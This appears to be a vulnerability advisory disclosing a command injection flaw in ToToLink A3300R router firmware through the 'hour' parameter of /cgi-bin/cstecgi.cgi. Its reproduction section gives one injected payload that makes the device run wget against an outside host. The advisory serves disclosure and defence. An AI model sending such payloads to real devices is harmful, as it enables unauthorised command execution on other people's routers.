ToToLink A3300R Command Injection Vulnerability in cgi-bin/cstecgi.cgi

A command injection vulnerability has been identified in ToToLink A3300R firmware version 17.0.0cu.557_B20221024. The issue allows attackers to execute arbitrary commands by manipulating the 'hour' parameter in requests to '/cgi-bin/cstecgi.cgi'. The vulnerability arises because the 'hour' parameter is not properly sanitized before being passed to a system execution function.

Impact

Exploitation of this vulnerability allows for arbitrary command execution on the device.

Reproduction

To reproduce this vulnerability, send a POST request to '/cgi-bin/cstecgi.cgi' with the 'hour' parameter set to a crafted command, such as '1$(wget 192.168.6.1:8888/testpoc)'. Include the necessary headers to mimic a legitimate request. The injected command will be executed on the device, demonstrating the command injection vulnerability.